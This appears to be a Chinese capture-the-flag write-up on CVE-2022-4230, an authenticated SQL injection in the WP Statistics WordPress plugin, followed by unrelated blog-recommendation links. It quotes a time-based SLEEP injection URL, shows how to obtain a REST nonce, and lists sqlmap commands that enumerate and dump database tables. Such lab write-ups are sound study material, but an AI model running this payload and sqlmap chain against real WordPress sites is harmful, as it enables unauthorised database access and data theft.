CVE-2022-4230

打开什么都没有

使用dirsearch扫描到一个wp-admin

访问wp-admin是一个登陆页面

账号密码都在标题中

登陆后是这个页面

在WP Statistics < 13.2.9 -- 经过身份验证的 SQLi |CVE 2022-4230 |插件漏洞 (wpscan.com)中,里边有一段对漏洞的描述。

https://wpscan.com/vulnerability/a0e40cfd-b217-481c-8fc4-027a0a023312/

Log in as a user allowed to View WP Statistic and get a nonce via

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE\&name=words\&search_engine=aaa' AND (SELECT 5671 FROM (SELECT(SLEEP(5)))Mdgs)--%20HsBR

翻译一下就是

以允许查看WP统计信息的用户身份登录,并通过获取随机数

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce

并在下面的URL中使用它,该URL将延迟5s

首先通过访问(必须要先登录过后台才行)

访问admin-ajax.php?action=rest-nonce

获得随机数706973b8cb

用浏览器访问,查看一下效果,其中 _wpnonce 的值是上面刚刚获取的随机数

访问:

wp-json/wp-statistics/v2/metabox?_wpnonce=63d5d76be3&name=words&search_engine=aaa

使用bp抓包,右键复制文件到本地

使用sqlmap,爆数据库

Python sqlmap.py -r 保存的文件名 --batch -dbs

爆出来四个库,其中的wordpress库很可疑

爆表

Python sqlmap.py -r 1.txt(保存的文件名) -D wordpress(库名) --tables --batch

爆字段

sqlmap -r 1.txt(保存的文件名) --batch -D wordpress(库名) -T flag(表名) --columns

爆字段数据

Python sqlmap.py -r 1.txt(保存的文件名) --batch

-D wordpress(库名) -T flag(表名) -C flag(字段名) --dump

或者直接省略爆字段名和字段数据直接使用下边的,知道表名就可以得出flag

python sqlmap.py -r 1.txt(保存的文件名) -D atomcms(库名) -T flag(表名) --dump -v --batch

相关推荐
借你耳朵说爱你13 小时前
浅拷贝和深拷贝两种不同的对象复制
vue·web
诗人不说梦^18 小时前
[CISCN2019 总决赛 Day2 Web1]Easyweb
web·ctf
OEC小胖胖1 天前
Next.js 介绍:为什么选择它来构建你的下一个 Web 应用?
开发语言·前端·web·next.js
OEC小胖胖2 天前
页面间的导航:`<Link>` 组件和 `useRouter`
前端·前端框架·web·next.js
练习时长两年半的Java练习生(升级中)3 天前
从0开始学习Java+AI知识点总结-30.前端web开发(JS+Vue+Ajax)
前端·javascript·vue.js·学习·web
科技树支点3 天前
无GC的Java创新设计思路:作用域引用式自动内存管理
java·python·go·web·编程语言·编译器
OEC小胖胖4 天前
React学习之路永无止境:下一步,去向何方?
前端·javascript·学习·react.js·前端框架·react·web
OEC小胖胖4 天前
给你的应用穿上“外衣”:React中的CSS方案对比与实践
前端·前端框架·react·web
OEC小胖胖5 天前
代码质量保障:使用Jest和React Testing Library进行单元测试
前端·react.js·单元测试·前端框架·web
AI@独行侠6 天前
01 - 网页和web标准
前端·web